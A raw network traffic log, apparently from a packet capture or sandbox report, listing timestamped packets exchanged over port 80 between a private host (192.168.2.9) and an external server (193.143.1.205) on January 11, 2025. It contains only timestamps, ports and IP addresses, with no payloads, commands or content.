Jan 11, 2025 02:13:00.695588112 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.695628881 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.695646048 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.696347952 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.696358919 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.696369886 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.696388960 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.696410894 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.696458101 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.696469069 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.696480036 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.696507931 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.696547031 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.696585894 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.697293997 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.697305918 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.697315931 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.697339058 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.697398901 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.697410107 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.697418928 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.697432995 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.697452068 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.697491884 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.698126078 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.698179007 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.698189974 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.698198080 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.698230982 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.698271990 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.698282957 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.698333025 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.698367119 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.698378086 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.698410034 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.699031115 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.699105024 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.699120998 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.699151039 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.699254990 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.699265957 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.699275970 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.699285984 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.699297905 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.699331999 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.700007915 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.700018883 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.700030088 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.700047970 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.700072050 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.700110912 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.700123072 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.700177908 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.700196028 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.700201988 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.700252056 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.704147100 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.704166889 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.704176903 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.704219103 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.724929094 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.724951029 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.724962950 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.724986076 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.725014925 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.725080013 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.725091934 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.725101948 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.725111961 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.725130081 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.725148916 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.725338936 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.725349903 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.725359917 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.725383997 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.752480984 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.752509117 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.752521038 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.752542019 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.752568960 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.782725096 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.782772064 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.782783031 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.782823086 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.782881021 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.782891989 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.782902956 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.783025026 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.783025026 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.783035994 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.783046007 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.783056974 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.783097029 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.783122063 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.783132076 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.783143044 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.783159018 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.783190966 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.783303976 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.783320904 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.783332109 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.783375025 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.783464909 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.783504009 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.812788010 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.812814951 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.812824965 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.812865019 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.812910080 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813000917 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813026905 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813038111 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.813044071 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813067913 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.813132048 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813143015 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813178062 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.813240051 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813251019 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813277960 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.813344002 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813355923 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813385963 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.813447952 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813458920 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813488960 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.813538074 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813549042 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813577890 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.813608885 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813647985 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.813704014 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813714981 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813724995 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813734055 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813759089 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.813790083 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.813891888 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813901901 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813913107 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813925028 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.813935041 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.813972950 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.814111948 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814122915 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814133883 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814148903 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814193010 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.814229012 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.814260960 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814271927 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814281940 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814292908 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814306021 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.814342022 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.814524889 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814536095 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814544916 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814558029 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814567089 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.814574957 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814585924 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814608097 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.814626932 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.814888954 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814898968 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814908981 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814919949 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814929962 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814940929 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.814970016 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.815005064 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.815223932 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.815234900 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.815244913 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.815254927 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.815265894 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.815274954 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.815284014 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.815308094 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.815330029 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.818658113 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.818708897 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.818723917 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.818753004 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.818811893 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.818823099 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.818834066 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.818845034 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.818854094 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.818886042 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.819044113 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819055080 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819072008 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819082022 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819091082 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819098949 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.819108009 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819118977 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819129944 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.819164038 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.819343090 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819359064 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819369078 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819380045 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819411039 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.819443941 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.819489002 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819499016 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819509983 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819520950 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819535017 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.819567919 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.819667101 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819678068 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819689035 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819700003 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819714069 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819720030 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.819736958 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.819830894 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819842100 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819852114 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.819874048 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.819895029 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.819998980 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820009947 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820019960 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820044041 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.820055962 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820096970 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.820162058 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820172071 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820180893 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820192099 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820202112 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820209980 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.820241928 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.820414066 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820437908 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820451021 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820461035 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820467949 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.820477962 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820488930 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.820499897 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.820543051 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.843054056 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.843072891 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.843094110 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.843112946 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.843128920 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.843147039 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.843157053 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.843168020 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.843180895 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.843192101 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.843265057 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.843281984 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.843291998 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.843324900 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.873356104 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873375893 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873414040 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.873433113 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873444080 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873517036 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.873611927 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873621941 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873632908 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873665094 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.873675108 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873683929 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873697042 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873754025 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.873780012 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873790026 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873800993 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873811007 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873821974 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873831987 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.873837948 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.873857975 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.873878002 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.903460979 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.903492928 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.903506041 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.903553009 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.903565884 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.903578043 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.903610945 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.903675079 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.903685093 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.903696060 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.903732061 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.903754950 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.903768063 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.903778076 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.903788090 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.903809071 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.903966904 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.903979063 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.903989077 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904000044 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904009104 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.904016972 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904056072 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.904067993 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.904083967 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904097080 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904105902 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904119015 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904129028 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.904167891 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.904299974 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904310942 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904320955 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904331923 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904344082 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904351950 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904361963 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904370070 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.904380083 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904388905 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904402971 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904408932 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.904427052 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.904463053 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.904685974 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904699087 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904711008 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904719114 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904730082 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904741049 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904748917 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.904758930 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904772997 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904778957 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.904823065 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.904941082 CET	80	49758	193.143.1.205	192.168.2.9
